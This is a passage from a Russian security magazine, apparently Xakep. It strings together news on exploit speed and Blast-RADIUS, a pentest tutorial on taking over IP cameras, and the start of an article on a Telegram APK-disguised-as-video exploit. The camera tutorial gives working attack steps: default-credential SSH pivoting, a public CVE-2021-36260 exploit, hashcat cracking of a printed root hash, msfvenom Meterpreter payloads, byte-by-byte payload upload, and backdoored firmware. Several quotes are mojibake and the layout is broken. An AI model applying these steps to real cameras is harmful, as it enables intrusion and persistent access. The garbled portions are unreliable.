ленни ки начина ют при менять дос тупные PoC-экс пло иты в реаль ных ата ках прак тичес ки сра зу.
Иног да ата ки начина ются все го через  пос ле пуб ликации экс пло итов в откры том
дос тупе.

22  минуты

По мне нию спе циалис тов, единс твен ным спо собом борь бы с такой ско ростью атак явля ется
 для быс трой раз работ ки эффектив ных пра вил обна руже ния.ис поль зование ИИ

Ча ще все го ата кам под верга лись сле дующие уяз вимос ти: CVE-2023-50164 и CVE-2022-
33891 в про дук тах , CVE-2023-29298, CVE-2023-38203 и CVE-2023-
26360 в , а так же CVE-2023-35082 в .

Apache
ColdFusion MobileIron

Еще один инте рес ный факт из отче та Cloudare:  от обще го объ ема ежед невно го
интернет-тра фика — это DDoS-ата ки, нап равлен ные на вывод из строя онлайн-при ложе ний
и сер висов. В пре дыду щий пери од (в 2022–2023 годах) этот показа тель сос тавлял , то есть
общий объ ем DDoS-тра фика рас тет.

6,8%

6%

Cloudare отме чает, что во вре мя круп ных атак вре донос ный тра фик может сос тавлять 
от все го HTTP-тра фика.

до 12%

АТАКА BLAST-RADIUS
Груп па ИБ-спе циалис тов и уче ных (из Cloudare, Microsoft, BastionZero,
Калифор ний ско го уни вер ситета в Сан-Диего и Амстер дам ско го уни вер- 
ситета) прив лекла вни мание к уяз вимос ти (CVE-2024-3596) в про токо ле
RADIUS, который сущес тву ет и исполь зует ся боль ше 30 лет. Ата ка 

 поз воля ет зло умыш ленни кам ком про мети ровать сети и устрой ства
с помощью MitM-атак и кол лизий MD5.

Blast-
RADIUS

Про токол RADIUS (Remote Authentication Dial-In User Service) был раз- 
работан в 1991 году и известен еще со вре мен dial-up. С тех самых пор он
оста ется фак тичес ким стан дартом для облегчен ной аутен тифика ции и под- 
держи вает ся прак тичес ки во всех ком мутато рах, мар шру тиза торах, точ ках
дос тупа и VPN-кон цен тра торах, выпущен ных за пос ледние десяти летия. Так,
RADIUS оста ется важ ным ком понен том для управле ния вза имо дей стви ем
кли ент — сер вер и исполь зует ся для обес печения:

VPN-дос тупа;•
DSL и опто воло кон ных соеди нений, пред лага емых интернет-про вай- 
дерами;

•

работы Wi-Fi и аутен тифика ции 802.1X;•
роумин га в сетях 2G и 3G;•
DNN-аутен тифика ции в сетях 5G;•
аутен тифика ции через час тные APN для под клю чения мобиль ных устрой- 
ств к кор поратив ным сетям;

•

аутен тифика ции на устрой ствах управле ния КИИ;•
Eduroam и OpenRoaming Wi-Fi.•

RADIUS обес печива ет бес перебой ное вза имо дей ствие меж ду кли ента ми (как
пра вило, роуте рами, ком мутато рами и дру гими устрой ства ми, пре дос тавля- 
ющи ми дос туп к сети) и цен траль ным сер вером RADIUS, который выс тупа ет
в роли гей тки пера для аутен тифика ции поль зовате лей и политик дос тупа.
Задача RADIUS — обес печить цен тра лизо ван ное управле ние аутен тифика- 
цией, авто риза цией и уче том уда лен ных вхо дов в сис тему. Иног да речь идет
о десят ках тысяч устрой ств в одной сети.

Ата ка Blast-RADIUS экс плу ати рует уяз вимость про токо ла и кол лизии MD5,
поз воляя зло умыш ленни кам, име ющим дос туп к тра фику RADIUS, манипу- 
лиро вать отве тами сер вера и добав лять про изволь ные атри буты, что дает
воз можность получить пра ва адми нис тра тора на устрой ствах RADIUS
без при мене ния брут форса или кра жи учет ных дан ных. Ата ка зат рагива ет все
режимы аутен тифика ции RADIUS/UDP, кро ме тех, которые исполь зуют EAP
(Extensible Authentication Protocol).

«

»

«Àòà êà Blast-RADIUS ïîç âîëÿ åò çëî óìûø ëåííè êó, íàõîäÿ ùåìó ñÿ ìåæ äó
êëè åíòîì è ñåð âåðîì RADIUS, ïîä äåëàòü íàñ òîÿùåå accept-ñîîá- 
ùåíèå ïðî òîêî ëà â îòâåò íà íåóäà÷ íûé çàï ðîñ àóòåí òèôèêà öèè, —
îáú ÿñíÿ þò èññëå äîâà òåëè. — Ýòî ìîæåò äàòü çëî óìûø ëåííè êó äîñ òóï
ê ñåòåâûì óñòðîé ñòâàì è ñåð âèñàì áåç íåîá õîäèìîñ òè óãà äûâàòü
èëè âçëà ìûâàòü ïàðîëè èëè shared-ñåê ðåòû. Â èòî ãå àòà êóþùèé
íå ïîëó÷à åò ó÷åò íûå äàí íûå ïîëü çîâàòå ëÿ. Çëî óìûø ëåííèê, èñïîëü- 
çóþùèé íàøó àòà êó, èìå åò âîç ìîæíîñòü ïîâûñèòü ñâîè ïðè âèëå ãèè
îò ÷àñ òè÷íî ãî äîñ òóïà ê ñåòè äî âõî äà íà ëþáîå óñòðîé ñòâî, èñïîëü- 
çóþùåå RADIUS äëÿ àóòåí òèôèêà öèè, èëè ïðèñ âîèòü ñåáå ïðî èçâîëü- 
íûå ñåòåâûå ïðà âà».

Схе ма ата ки

Де ло в том, что про токол RADIUS исполь зует хеширо ван ные MD5 зап росы
и отве ты при выпол нении аутен тифика ции на устрой стве. PoC-экс пло ит, раз- 
работан ный спе циалис тами, вычис ляет хеш-кол лизию MD5 с выб ранным пре- 
фик сом, необ ходимую для под делки кор рек тно го отве та Access-Accept,
обоз нача юще го успешный зап рос на аутен тифика цию. Затем этот под дель- 
ный MD5-хеш внед ряет ся в сетевое соеди нение с помощью ата ки man-in-the-
middle, что поз воля ет зло умыш ленни ку вой ти в сис тему.

Экс плу ата ция проб лемы и под делка хеша MD5 занима ет от 3 до 6 минут,
то есть боль ше, чем 30–60-секун дные тайм-ауты, обыч но исполь зуемые
в RADIUS. Одна ко каж дый шаг кол лизи онно го алго рит ма, при меня емо го
в ата ке, может быть эффектив но рас парал лелен, а так же под дает ся аппа рат- 
ной опти миза ции. То есть зло умыш ленник с хороши ми ресур сами может осу- 
щес твить ата ку с помощью GPU, FPGA и дру гого сов ремен ного и быс тро го
обо рудо вания, что бы добить ся мень шего вре мени выпол нения, уско рив ата ку
в десят ки или даже сот ни раз.

Пос коль ку ата ка не ком про мети рует учет ные дан ные конеч ного поль- 
зовате ля, для защиты от нее конеч ные поль зовате ли не могут сде лать ничего.
Одна ко про изво дите лям и сис темным адми нис тра торам, которые соз дают
RADIUS-устрой ства и управля ют ими, рекомен дует ся сле довать уже 

 .
дос- 

тупным ре комен даци ям
Для защиты от Blast-RADIUS сетевые опе рато ры могут перей ти на RADIUS

over TLS (RADSEC), муль тихопо вые раз верты вания RADIUS и изо лиро вать
тра фик RADIUS от интерне та с помощью VLAN с огра ничен ным дос тупом
или тун нелиро вания TLS/IPsec.

По мне нию иссле дова телей, в дол госроч ной пер спек тиве единс твен ным
спо собом обе зопа сить RADIUS явля ется переда ча дан ных по TLS или DTLS,
что поз волит обес печить дол жную безопас ность, вклю чая кон фиден циаль- 
ность поль зователь ских дан ных в зап росах и целос тность отве тов Access-
Accept и Access-Reject.

Хо тя рабочая груп па IETF уже раз рабаты вает новую спе цифи кацию,
которая будет нап равле на имен но на это, подоб ные мас штаб ные изме нения
занима ют месяцы или годы. Так, некото рые импле мен тации RADIUS (нап- 
ример, от Microsoft) пока вооб ще не под держи вают TLS.

«

»

«Ó÷è òûâàÿ îãðîìíîå êîëè÷åñ òâî óñè ëèé, ïðè ëîæåí íûõ ê îáåñ ïå÷åíèþ
áåçîïàñ íîñòè òàêèõ ïðî òîêî ëîâ, óäè âèòåëü íî, ÷òî òàêîé âåç äåñóùèé
ïðî òîêîë, êàê RADIUS, ïîëó÷èë òàê ìàëî âíè ìàíèÿ êðèï òîàíà ëèòè êîâ
çà ïðî øåä øèå ãîäû. TLS ìîæåò áûòü õàðèç ìàòè÷ íîé ìåãàôà óíîé
(ýòèì òåð ìèíîì îáîç íà÷à þò æèâîò íûõ, ñíèñ êàâøèõ ïîïóëÿð íîñòü
â ñîöè àëü íîé ñðå äå è ÷àñ òî èñïîëü çóþùèõ ñÿ äëÿ ïîëó÷å íèÿ îáùåñ- 
òâåí íîé ïîä äåð æêè, íàï ðèìåð ýêî ëîãè ÷åñ êèõ èíè öèàòèâ. — Ïðè ìå÷.
ðåä.) â èññëå äîâà íèÿõ êðèï òîãðà ôè÷åñ êèõ ïðî òîêî ëîâ, íî äëÿ òîãî,
÷òî áû äåé ñòâè òåëü íî çàùèòèòü èíôðàñòðóê òóðó, íóæ íî ïðî àíà ëèçè- 
ðîâàòü è çàùèòèòü âñþ âñå ëåí íóþ êîð ïîðàòèâ íîé áåçîïàñ íîñòè,
êîòîðóþ àêà äåìè ÷åñ êèå êðèï òîãðà ôû ïðàê òè÷åñ êè íå âèäÿò è íå
ïîíèìà þò», — çàê ëþ÷à þò ñïå öèàëèñ òû.

TELEGRAM ОШТРАФОВАЛИ НА  РУБЛЕЙ3 000 000

Та ган ский суд Мос квы оштра фовал мес сен джер Telegram на  за отказ уда- 
лить информа цию об антипра витель ствен ных акци ях.

3 мил лиона руб лей

По дан ным СМИ, сот рудни ки Рос комнад зора обна ружи ли в Telegram-каналах «недос товер ную
информа цию о Воору жен ных силах РФ, а так же при зывы к учас тию в антипра витель ствен ных
выс тупле ниях». Ведомс тво нап равило в Telegram пре дос тереже ние с тре бова нием уда лить эти
пос ты, одна ко тре бова ние было про игно риро вано. Пос ле это го в отно шении ком пании был сос- 
тавлен про токол об адми нис тра тив ном пра вона руше нии.

От меча ется, что пред ста вите ли Telegram в суд не яви лись, хотя и были уве дом лены о заседа- 
нии. Решение было при нято в их отсутс твие.

GOO.GL
ЗАКРЫВАЕТСЯ
Ком пания Google объ яви ла, что в 2025 году сер вис для сок ращения ссы лок
goo.gl окон чатель но прек ратит свою работу. Пос ле это го все корот кие ссыл ки
перес танут фун кци они ровать и будут воз вра щать ошиб ку 404.

На пом ним, что запущен ный в далеком 2009 году goo.gl  для поль- 
зовате лей и раз работ чиков еще в 2018 году. Тог да в Google заяви ли, что
на рын ке появи лось мно жес тво ана логич ных про ектов, мобиль ных устрой ств,
голосо вых ассистен тов, при ложе ний и интернет вооб ще изме нил ся до неуз- 
нава емос ти.

зак рылся

В ито ге в ком пании соч ли, что в сер висе для сок ращения URL боль ше нет
нуж ды, и соз дание новых ссы лок, а так же ана лити ка и управле ние были
отклю чены в 2019 году.

Сто ит отме тить, что в 2018 году в Google пла ниро вали, что раз работ чики
в ито ге перей дут на динами чес кие ссыл ки Firebase, но в ито ге ком пания зак- 
рыла и этот сер вис.

Тем не менее все пос леду ющие годы ссыл ки, ранее соз данные
с помощью goo.gl, про дол жали работать.

Те перь же Google сооб щили, что вско ре сер вис завер шит работу окон- 
чатель но: с 23 августа 2024 года для опре делен ного про цен та сущес тву ющих
ссы лок goo.gl перед перехо дом к целево му адре су нач нет отоб ражать ся про- 
межу точ ная стра ница с уве дом лени ем о том, что вско ре ссыл ка перес танет
работать.

При этом Google пре дуп режда ет раз работ чиков, что эта про межу точ ная стра- 
ница сама по себе может помешать кор рек тной работе ссы лок goo.gl.

«
»

«Íàï ðèìåð, åñëè âû èñïîëü çóåòå äðó ãèå 302-ðåäèðåê òû, ïðî ìåæó òî÷- 
íàÿ ñòðà íèöà ìîæåò ïîìåøàòü ïðà âèëü íîìó çàâåð øåíèþ ïîòîêà
ðåäèðåê òîâ. Åñëè âû âñòðî èëè ñîöè àëü íûå ìåòàäàí íûå â öåëåâóþ
ñòðà íèöó, ïðî ìåæó òî÷ íàÿ ñòðà íèöà, ñêî ðåå âñå ãî, ïðè âåäåò ê òîìó,
÷òî îíè ïåðåñ òàíóò îòîá ðàæàòü ñÿ òàì, ãäå îòîá ðàæàëàñü èñõîäíàÿ
ññûë êà», — ïðå äóï ðåäèëè â êîì ïàíèè.

А пос ле 25 августа 2025 года все адре са goo.gl перес танут работать окон- 
чатель но и будут воз вра щать толь ко ошиб ку 404.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
У поль зовате лей Hamster Kombat уго няют акка унты Telegram

Ис сле дова тели выяви ли тысячи педофи лов, изу чив логи инфости леров

Све жая RCE-уяз вимость в Ghostscript уже исполь зует ся хакера ми

В магази не Google Play наш ли рек ламную мал варь Konfety

Смар тфо ны Google Pixel 6 «окир пичива ются» пос ле сбро са к завод ским нас трой кам

Ко рей ский про вай дер заразил 600 000 поль зовате лей вре донос ным ПО

Proton запус кает аль тер нативу Google Docs, ори енти рован ную на при ват ность

Рос сий ские орга низа ции под верга ются ата кам через взло ман ные лиф ты

Рос сияне, которых счи тают адми нами теневой биб лиоте ки Z-Library, сбе жали из-под домаш- 
него арес та

В Google переду мали зап рещать сто рон ние cookie в Chrome

https://github.com/binarly-io/SupplyChainAttacks/blob/main/PKfail/ImpactedDevices.md
https://xakep.ru/2022/07/26/cosmicstrand/
https://xakep.ru/2023/03/02/blacklotus-eset/
https://pk.fail/
https://www.blastradius.fail/
https://datatracker.ietf.org/doc/draft-ietf-radext-deprecating-radius/
https://www.inkbridgenetworks.com/blastradius
https://xakep.ru/2018/04/02/goo-gl-closed-down/
https://xakep.ru/2024/07/17/hamster-kombat-phishing/
https://xakep.ru/2024/07/04/infostealers-unmask-pedofiles/
https://xakep.ru/2024/07/09/new-ghostscript-rce/
https://xakep.ru/2024/07/18/konfety/
https://xakep.ru/2024/07/03/pixel-6-bricked/
https://xakep.ru/2024/07/01/kt-vs-webhards/
https://xakep.ru/2024/07/03/proton-docs/
https://xakep.ru/2024/07/08/lifting-zmiy/
https://xakep.ru/2024/07/10/z-library-admins-escaped/
https://xakep.ru/2024/07/24/privacy-sandbox-canceled/
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Все зна ют, что при пен тесте мож но
получить изоб ражение с камеры виде онаб- 
людения и порадо вать тех, кто будет читать
отчет. Эти кар тинки про изво дят впе чат- 
ление, но каков реаль ный импакт ата ки
на камеры? Сегод ня погово рим о слу чаях,
ког да на камерах мож но получить шелл,
зак репить ся и прок сировать ся через них.

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

Все уже при вык ли, что в отче те мож но встре тить кар тинку с зах вачен ной пен- 
тесте рами виде ока меры.

Бе зус ловно, смот рится кру то, но какой от это го импакт? Жизнь — это вам
не игра Watchdogs 2, где взла мывать устрой ства мож но по кар тинке
с камеры. Зло умыш ленник, навер ное, может выс ледить что-то важ ное, наб- 
людая, как сот рудни ки ходят по коридо рам туда-сюда, а потом исполь зовать
это для соци аль ной инже нерии, но все подоб ные сце нарии похожи ско рее
на буй ный полет фан тазии.

С точ ки зре ния пен теста куда инте рес нее получить шелл на зах вачен ной
камере. Раз внут ри у нее неболь шой компь ютер, дос туп к нему может ока- 
зать ся небес полез ным для ата кующе го.

ÊÅÉÑ 1: ÏÀÐÎËÜ ÏÎ ÓÌÎË×ÀÍÈÞ

Ду маю, ты не раз видел подоб ное окно логина в веб-интерфейс камеры.

За ходим в веб-интерфейс IP-камеры

По нят но, что пер вая мысль — пой ти в Google и поис кать логины и пароли
по умол чанию.

INFO

Иног да быва ет, что знать логин и пароль
от камеры не обя затель но, что бы получить с нее
изоб ражение. Для это го может быть дос таточ но
подоб рать пра виль ную RTSP-ссыл ку, которая
похожа на клас сичес кую HTTP-ссыл ку. Най ти ее
зачас тую мож но в докумен тации к камере. Так же
для это го соз дан скрипт 

, но пока что в нем соб раны далеко не все
вари анты ссы лок.

nmap rtsp-url-
brute

До пус тим, нам повез ло и мы получи ли дос туп в веб-интерфейс с пра вами
адми нис тра тора. Самое прос тое и быс трое, что мы можем сде лать, — поис- 
кать воз можность запус тить SSH или Telnet. В при мере ниже такая воз- 
можность наш лась.

Наш ли воз можнос ти вклю чения SSH

Про буем акти виро вать SSH. Ста вим соот ветс тву ющую галоч ку и жмем «Сох- 
ранить».

Вклю чаем SSH в веб-интерфей се камеры

Нам стал дос тупен порт 22 (TCP). Логич но поп робовать под клю чить ся к SSH
с теми же логином и паролем, что подош ли к веб-интерфей су. И у нас получа- 
ется! Хотя, конеч но, такое про каты вает не всег да.

Под клю чаем ся к камере по SSH

Да вай пос мотрим, что нам уда лось получить. Дос таточ но быс тро понима ем,
что попали в шелл BusyBox, который силь но огра ничи вает наши дей ствия.
Здесь есть два пути. Пер вый — каким-то обра зом попытать ся вый ти
из BusyBox в нор маль ный шелл (Bash, Ash или еще какой-то). Этот спо соб
потен циаль но может дать боль ший эффект, но он слиш ком дол гий, что бы
про вора чивать его в рам ках огра ничен ного по вре мени пен теста.

По это му есть вто рой вари ант: можем вспом нить про штат ную воз- 
можность SSH прок сировать тра фик. В дан ном слу чае мы име ем дело с SSH-
сер вером Dropbear. Он лег ковес ный, и его час то уста нав лива ют на камеры.
Казалось бы, для мак сималь ной опти миза ции из него дол жны были убрать
воз можнос ти прок сирова ния тра фика, но про изво дитель их оста вил, чем мы
сей час и вос поль зуем ся.

Для прок сирова ния тра фика через камеру про буем под клю чить ся к ней
по SSH с помощью сле дующей коман ды:

ssh root@IP -D 4444 

Под клю чение к SSH с фла гом -D для прок сирова ния тра фика

При выпол нении такой коман ды на нашей сис теме под нима ется порт с под- 
дер жкой SOCKS5, который средс тва ми SSH прок сиру ет наше соеди нение
через целевое устрой ство, в дан ном слу чае камеру. Про буем про верить, что
кон нект работа ет штат но.

Об раща емся к целевым ресур сам через proxychains4

Нес мотря на то что мы не смог ли обой ти BusyBox, глав ной цели уда лось дос- 
тичь: прок сировать тра фик через камеру. На пен тестах мне встре чались
инфраструк туры, в которых при обра щении из сети камер не было никаких
огра ниче ний на дос туп, что очень удоб но для хакер ских дел.

ÊÅÉÑ 2: ÓßÇÂÈÌÎÑÒÜ Â ÏÐÎØÈÂÊÅ

В этом кей се обсу дим, как получить RCE и запиво тить ся на камере, ког да
изна чаль но никако го дос тупа не уда лось получить вооб ще.

Тут, прав да, началь ные усло вия нем ного слож нее. Допус тим, мы сно ва
встре тили зна комый веб-интерфейс, поп робова ли пароли по умол чанию
и еще нес коль ко популяр ных паролей. Ничего не подош ло, и попасть
в админку мы не смог ли. В таком слу чае мож но было бы опус тить руки и идти
даль ше. Но нет, мы пой дем в Google и поищем зарегис три рован ные уяз- 
вимос ти, желатель но с готовым экс пло итом.

Мне уда лось най ти баг CVE-2021-36260. Это лишь при мер, с дру гим обо- 
рудо вани ем тебе может попасть ся любой дру гой баг. Но мне повез ло сра зу
вый ти на .го товый экс пло ит

Им пакт от экс плу ата ции — воз можность уда лен ного выпол нения кода
(RCE). Экс плу ата ция с готовым экс пло итом обыч но про исхо дит в одну коман- 
ду.

Экс плу ати руем CVE-2021-36260

Скрипт успешно отра баты вает, и мы получа ем шелл на камере. В дан ном слу- 
чае это пол ноцен ный Ash. Даль нейшие дей ствия могут раз вивать ся как угод- 
но. Можем, нап ример, залить C2 для зак репа или пивотин га. Ну а самый
прос той спо соб я уже опи сал выше: мож но прос то прок сировать тра фик
с помощью SSH.

Продолжение статьи →

https://t.me/VlaDriev
https://github.com/Aiminsun/CVE-2021-36260
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В этот раз ситу ация будет поин терес нее. Прок сировать тра фик нам поможет
фун кция самой про шив ки.

Ло гиним ся в веб-интерфейс камеры средс тва ми basic-аутен тифика ции:
сно ва подош ли дефол тные кре ды. И сра зу ищем, какие есть воз можнос ти
для запус ка SSH или Telnet. Таких воз можнос тей не находим.

Веб-интерфейс виде ока меры

Ска ниру ем пор ты и видим, что нам дос тупен Telnet.

Ре зуль тат ска ниро вания пор тов

Не дол го думая, про буем под клю чить ся к нему с логином и паролем
от веб-интерфей са. У нас ничего не выходит. Не сда емся и идем в Google.
Про изво дитель пишет, что Telnet нужен толь ко раз работ чикам, а обыч ным
поль зовате лям там делать нечего, и никаких паролей в откры том дос тупе нет.
Мож но было бы отсту пить, но пен тестер — это не обыч ный поль зователь. Я
ска чал про шив ку с сай та про изво дите ля и решил в ней покопать ся.

Ска чива ем про шив ку камеры с сай та про изво дите ля

Про буем открыть про шив ку обыч ным архи вато ром вро де 7-Zip. И у нас
получа ется! Уди витель но, но про шив ка никак не защище на, не зашиф рована
и не исполь зует внут ри свою заморо чен ную фай ловую сис тему. Все прос то
и дос тупно.

Об наруже ние в про шив ке фай ла /etc/passwd

Мы получи ли дос туп к фай ловой сис теме rootfs. В ней есть дирек тория ,
а там — фай лик . Откры ваем его и видим хеш от учет ки .

/etc
passwd root

Хеш пароля в фай ле passwd

Ком мента рии излишни!

Ес тес твен но, про буем бру тить этот хеш. Про шив ка ста рень кая — 2019 года,
веро ятность сбру тить такой хеш дос таточ но боль шая. Забегая впе ред, ска жу,
что все получит ся.

Бру тим при помощи hashcat:

 0  500 hashcat -a -m '$1$ct81jPGd$V4mhTmjAOkTwNhnFsIrmt1' /usr/share/
wordlists/rockyou.txt 

Ус пешно под бира ем пароль по сло варю

INFO

Мне ста ло инте рес но, что за камеру я встре тил,
и, поис кав по паролю, я нашел занят ную 

. Как ока залось, это камеры
китай ско го завода Brovotech, где закупа ются
мно гие про изво дите ли. Если при пен тесте встре- 
тишь noname-камеру, воз можно, тебе подой дет
тот же пароль.

статью
на «Хаб рахаб ре»

Поп робу ем под клю чить ся к Telnet с помощью пароля, который толь ко что
сбру тили.

Ус пешное под клю чение к Telnet

Мы смог ли под клю чить ся к камере и получить пол ноцен ный шелл. Но Telnet,
может быть, и хорош, но он «из короб ки» не дает воз можнос ти прок сировать
тра фик, как это дела ет SSH. Поэто му нам понадо бит ся какое-то допол нитель- 
ное средс тво, нап ример SOCKS-прок си или C2.

Поп робу ем самый прос той и рас простра нен ный вари ант C2 — Metasploit
с наг рузкой Meterpreter. Анти виру сов на камерах я пока ни разу не встре чал,
поэто му мож но не стес нять ся.

Ге нери руем наг рузку:

 elf  msfvenom -p linux/armle/meterpreter/bind_tcp -f -o bind

Ге нери руем полез ную наг рузку для камеры

Те перь у нас есть бинарь, и вста ет воп рос о том, как его залить на камеру.
Netcat отсутс тву ет, curl нет, да и вооб ще поч ти ничего нет. Оста ется пересы- 
лать побай тово, нап ример с помощью . Сге нери ровать наг рузку мож- 

но при мер но так:

printf

 |    o1  |    | line cat bind od -An -t -v tr ' ' '/' while read 
  |   do echo "printf '$line' >> out.bin" tr '/' '\'

done

Здесь сто ит ска зать боль шое спа сибо моему кол леге  за то, что помог
все это авто мати зиро вать.

S0i37

Пос ле того как скрипт отра ботал, копиру ем его вывод и встав ляем
на камере. В резуль тате у нас получит ся готовый к исполь зованию исполня- 
емый файл.

Пе реки дыва ем полез ную наг рузку и даем ей пра ва на исполне ние

За лито му фай лу не забыва ем дать пра ва на исполне ние и про буем запус тить.
Дей стви тель но — все сра бота ло. Сво ей цели мы дос тигли: сно ва получи ли
RCE на камере. А как сде лать прок си, ты уже зна ешь.

Продолжение статьи →

https://habr.com/en/articles/507498/
https://xakep.ru/author/S0i37/
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И один из самых инте рес ных кей сов — модифи кация про шив ки. У нас есть
дос туп к веб-интерфей су камеры, но нет воз можнос ти вклю чить SSH
или Telnet. Но мы можем обно вить на камере про шив ку, это и поп робу ем сде- 
лать.

Итак, мы получи ли сетевой дос туп к веб-интерфей су камеры. По тра диции
не забыва ем схо дить в Google и поис кать кре ды по умол чанию.

Фор ма вхо да в веб-интерфейс камеры

Кре ды наш ли и заходим в админку. Но воз можнос ти вклю чить Telnet или SSH
там нет. Зато мы обра щаем вни мание на вклад ку, в которой нам пред лага ют
обно вить про шив ку из фай ла.

Вклад ка с обновле нием про шив ки

Соз давать про шив ку с нуля — это дол гое и слож ное занятие. Поэто му мы
можем поп робовать взять про шив ку от про изво дите ля и нем ного замод дить.
Идем на сайт про изво дите ля и находим там под ходящий фай лик. Кача ем
и сно ва без тру да откры ваем обыч ным архи вато ром.

Об наружи ваем инте рес ный скрипт . Само наз вание нам намека ет

на то, что он выпол нится при заг рузке камеры. В скрип те есть строч ка
, но она заком менти рова на. Пред полага ем, что если ее рас- 

коммен тировать, то при стар те камеры вклю чит ся Telnet. Давай поп робу ем!

run.sh

telnetd &

Ре дак тиру ем скрипт run.sh

Так же в про шив ке есть фай ловая сис тема rootfs. В ней — дирек тория ,
а там, как водит ся, файл , в котором сно ва лежит хеш от учет ки .

Но на этот раз смыс ла что-то бру тить нет. Мы прос то сге нерим такой же хеш,
но от пароля, который мы зна ем. Затем заменим хеш и сох раним файл.

/etc
passwd root

Ге нери руем хеш:

openssl passwd -1 password 

Де лаем хеш для замены в про шив ке

Ме няем файл /etc/passwd

Пос ле этих манипу ляций мы поч ти готовы переза ливать про шив ку. Неуже ли
все так прос то? Да, поч ти. Сто ит лишь учесть тип фай ловой сис темы, исполь- 
зуемый в про шив ке. В нашем слу чае это cramfs. Рас паковать ее дей стви тель- 
но мож но обыч ным архи вато ром, но вот запако вать уже так прос то
не получит ся. Для это го нам надо уста новить  и выпол нить такую
коман ду:

ок ружение

mkcramfs romfs romfs-x.cramfs 

WARNING

Ес ли ты заль ешь неп равиль ную про шив ку,
камера, ско рее все го, прев ратит ся в «кир пич» и в
реаль ном пен тесте ты боль ше не смо жешь
получить к ней дос туп.

Вот теперь мы уже точ но готовы к про шив ке камеры.

За лива ем про шив ку

Жмем кноп ку «Про шив ка», и камера перес тает отве чать на пин ги и вооб ще
не пода ет никаких приз наков жиз ни.

Но спус тя минуту она сно ва появ ляет ся, и мы можем наконец выдох нуть.
Смот рим, под нялся ли наш Telnet. Да, он работа ет, и мы можем под клю чить ся
к нему с паролем, который внес ли в ./etc/passwd

Ус пешное под клю чение к камере по Telnet

На этот раз нам дос тупен Netcat.

Об наруже ние Netcat на камере

С помощью Netcat мы лег ко перене сем любую наг рузку и смо жем запус тить
ее. Нап ример, Meterpreter, который мы сге нери рова ли ранее.

Пос ле того как у нас сно ва залит и запущен C2-агент на камере, мож но
запус кать прок си. На этот раз все го в нес коль ко команд:

run autoroute -s 10.0.0.0/8 
background 
use auxiliary/server/socks_proxy 
run 

Пос ле это го мы получим пол ноцен ное прок сирова ние через камеру, а так же
удоб ный кон троль над ней в виде C2-аген та.

Итак, мы зах ватили уже четыре камеры и можем под вести про межу точ ный
итог. Мы уви дели, как быс тро и прос то мож но исполь зовать камеру в пен- 
тестер ском ремес ле, получать на ней RCE и выпол нять пивотинг. Такие кей сы
впол не мож но реали зовать на реаль ном про екте за неболь шое вре мя.
Потен циаль но они могут пос лужить точ кой зак репле ния либо точ кой прок- 
сирова ния тра фика.

Кста ти, искать камеры дос таточ но прос то — по сочета нию откры тых TCP-
пор тов 80 и 554.

В про дол жение этой темы могу пореко мен довать озна комить ся с 
 про камеры. Док лад нас толь ко жес ткий, что начина ется со слов

«выпа яем память, что бы получить про шив ку».

док- 
ладом Dahua

ÄËß ÇÀÙÈÒÍÈÊÎÂ

На вер ное, ты уже заметил, что все кей сы начина лись с того, что на камере
уста нов лен пароль по умол чанию. А кей сы с про шив ками были свя заны
с захар дко жен ными пароля ми. Исхо дя из это го, для защиты камер рекомен- 
дую:

ме няй дефол тные пароли, это прик роет поч ти все воз можные век торы экс-
плу ата ции;

•

об новляй софт, про изво дите ли зачас тую выпус кают обновле ния безопас- 
ности;

•

об новляй железо, иног да так быва ет, что устрой ство перес тает под держи- 
вать ся, в таком слу чае сто ит заменять его более акту аль ным;

•

ре комен дуй началь ству про водить пен тесты, что бы обна ружи вать подоб- 
ные недос татки в сво их инфраструк турах и вов ремя при нимать меры;

•

изо лируй сег мент камер от основной инфраструк туры.•

Иног да быва ет, что камеры находят ся не в ведомс тве ИТ- или ИБ-отде лов, а в
ведомс тве отде ла безопас ности (охра ны). В таком слу чае вли ять на обновле- 
ние камер со сто роны ИБ очень тяжело. Могу толь ко пореко мен довать ста- 
рать ся изо лиро вать сег менты сети, на обновле ния которых твоя коман да
не может вли ять.

ÂÛÂÎÄÛ

В этой статье я хотел на реаль ных при мерах показать, что камеры впол не
мож но исполь зовать для про веде ния слож ных атак в инфраструк турах. Понят- 
но, что мы рас смот рели не все воз можные слу чаи, и в каж дой ситу ации тебе
при дет ся самому додумы вать и док ручивать, но ты уже будешь знать
о методах, которые сто ит поп робовать в пер вую оче редь. Воз можно, у тебя
получит ся реали зовать неч то новое и более кру тое, тог да будем ждать тво их
пуб ликаций и ресер чей!

http://ftp.ubuntu.com/ubuntu/ubuntu/pool/universe/c/cramfs/
https://www.youtube.com/watch?v=01uPmePiN0A
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ВЗЛОМ

Не дав но мне на гла за попал ся  при- 
мер но такого содер жания: «В Telegram
выяв лена новая уяз вимость, свя зан ная
с заг рузкой виде оро ликов». К пос ту при- 
лага лась демонс тра ция: поль зователь
получа ет видео, при тапе по которо му
Telegram пыта ется уста новить сто рон нее
при ложе ние. При этом проб лема не прив- 
лекла осо бен ного вни мания. Я решил
разоб рать ся, работа ет ли спо соб,
и написать к нему экс пло ит.

пост

ÄÅÌÎÍÑÒÐÀÖÈß ÓßÇÂÈÌÎÑÒÈ

Для начала деталь но раз берем, что про исхо дит на видео, которое демонс- 
три рует работу бага.

Вна чале мы видим коман дную стро ку, где ата кующий вво дит парамет ры
бота и отправ ки: токен бота, ID чата, путь до фай ла APK для заг рузки и путь
к кар тинке (preview). Так же пред лага ется ввес ти сооб щение и скрыть его
как спой лер. Все клю чи и ID на видео замаза ны.

Пос ле вво да парамет ров ата кующий видит под твержде ние удач ной отправ ки.
Ата куемый же получа ет сооб щение, которое выг лядит как обыч ный виде- 
офайл.

При нажатии на него появ ляет ся сооб щение, что виде офайл не может быть
вос про изве ден и необ ходим допол нитель ный пле ер. Если поль зователь дает
сог ласие, про исхо дит инстал ляция самого прис ланно го фай ла при помощи
стан дар тно го инс тру мен та для уста нов ки APK в Android.

Да лее поль зователь видит стан дар тные зап росы, которые при ложе ния
дела ют при уста нов ке: пре дос тавить пра ва на дос туп к кон тактам, мик рофону
и так далее. Сами зап росы зависят от модели телефо на, вер сии Android
и того, что захочет заполу чить раз работ чик.

